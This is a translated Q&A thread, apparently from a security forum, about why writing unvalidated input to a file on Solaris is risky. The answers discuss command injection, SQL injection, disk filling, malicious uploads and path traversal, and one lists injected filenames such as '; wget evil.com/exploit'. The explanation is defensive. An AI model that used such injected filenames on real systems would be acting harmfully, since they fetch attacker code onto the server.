Como explorar os dados sendo gravados no arquivo

2

Estou tentando mostrar que tomar dados como uma entrada e gravar diretamente em um arquivo sem analisar, verificar ou sanitizá-lo é um risco de segurança.

Alguém pode mostrar um exemplo de como isso pode ser explorado. Eu estava pensando que pode haver uma maneira de começar a escrever em um novo arquivo em vez daquele que deveria. se isso for possível, talvez consiga gravar em um arquivo chamado ls ou menos etc.

Desculpe, esqueci de mencionar o sistema operacional. É o Solaris.

Os arquivos são apenas arquivos de dados possivelmente para serem lidos em um banco de dados mais tarde, mas eu não quero contar com o banco de dados como o único exploit.

Um programa nesses servidores está escutando em uma porta e eu posso conectar e enviar dados e sei que ele gravará esses dados em um arquivo chamado output.dat mais tarde.

    
por Brian G 27.10.2010 / 16:32

4 respostas

3

Isso realmente depende do que você está fazendo com esses dados. Se os dados forem usados mais tarde como entradas para os comandos shell, você pode simplesmente inserir comandos que subdeligam e executam comandos arbitrários (instalar backdoor, adicionar usuário, alterar senhas ...) Se os dados forem inseridos no SQL sem instruções preparadas, então tem uma injeção SQL padrão. O caso mais simples seria explodir o espaço da sua partição; Se você pode gerar dados livremente e sem limites, então não há nada que impeça o invasor de sobrecarregar a unidade / partição. A maioria dos programas não verifica essa condição, por isso, ela entra em uma condição desconhecida, na melhor das hipóteses, explorável na pior das hipóteses.

    
por 27.10.2010 / 17:08
2

Algo muito semelhante é um erro de segurança bem conhecido que muitos sites cometem. Se você fizer uploads de usuários (digamos, imagens de avatar para um fórum) e não confirmar que são arquivos de imagem válidos, um invasor pode fazer upload de um arquivo PHP e executá-lo no servidor, solicitando-o em um navegador da Web. seu diretório de imagens. Muitas vezes não é adequado apenas verificar a extensão no nome do arquivo, você deve validar o conteúdo do arquivo ou correr o risco de ter um arquivo malicioso em seu sistema.

O mesmo provavelmente é genericamente verdadeiro em qualquer situação em que você aceita um upload de arquivo e não verifica seu conteúdo. O arquivo pode ser um executável do Solaris aguardando por um descuido chmod -R 777 /var/www ou um script perl que adicione um novo usuário ou um arquivo PDF malformado destinado a comprometer os usuários do seu site ou um arquivo .htaccess que redireciona os usuários para o site do atacante ou até mesmo um link simbólico para / etc / passwd. (Na verdade, não tenho certeza se é possível "carregar" um symlink, mas certamente seria possível imaginar um cenário em que um usuário não confiável poderia criar um symlink em seu sistema.)

A verificação de que o conteúdo de um arquivo corresponde ao que deveria ser torna mais difícil para um invasor obter seu código de exploração em seu sistema. Você está certo em pensar que não validar é um erro de segurança.

Uma vez que o arquivo malicioso está no sistema, ele ainda requer um segundo erro / vulnerabilidade para explorar o arquivo, mas coloca o invasor um passo mais perto de comprometer seu sistema.

Além disso, você também deve limpar o nome do arquivo, se um for fornecido. O exemplo .htaccess anterior é uma maneira de um invasor explorar um nome de arquivo, mas nomes de arquivo como "../index.php" ou |/usr/bin/wget evil.com/exploit ou ; wget evil.com/exploit ou && wget evil.com/exploit podem fazer coisas desagradáveis ao sistema, dependendo do manuseio do arquivo código.

Se estivermos falando sobre o Apache, seria difícil forçá-lo a sobrescrever um binário do sistema como ls , mas se for um servidor que você mesmo tenha escrito e que não elimine privilégios e esteja sendo executado como root, ele teria a permissão necessária para sobrescrever os binários do sistema e apenas aguardar o caminho correto do arquivo.

    
por 01.11.2010 / 15:56
1

Depende totalmente de qual plataforma você está. Por exemplo, se este é um sistema de lâmpada, pode ser tão simples quanto escrever um arquivo .php na raiz da Web, ou uma abordagem mais complexa é um ataque avançado de LIF .

No Windows, você pode usar alguns truques de pipe nomeado para obtenha execução remota de código.

    
por 27.10.2010 / 19:07
0

Desde que o invasor não possa alterar o nome do arquivo ou os metadados do arquivo e haja um limite para o valor gravado, não consigo ver um problema.

Caso contrário, seria perigoso armazenar dados aleatórios em um arquivo. Desde que o acima seja verdadeiro, um arquivo é apenas um contêiner.

Isso não quer dizer que não haja um bug no aplicativo de leitura que possa ser explorado. Por exemplo, se houve um exploit no bloco de notas ou algo assim e o usuário foi capaz de escrever uma sequência que utilizou o exploit para o que deveria ser um arquivo de texto.

    
por 27.10.2010 / 21:34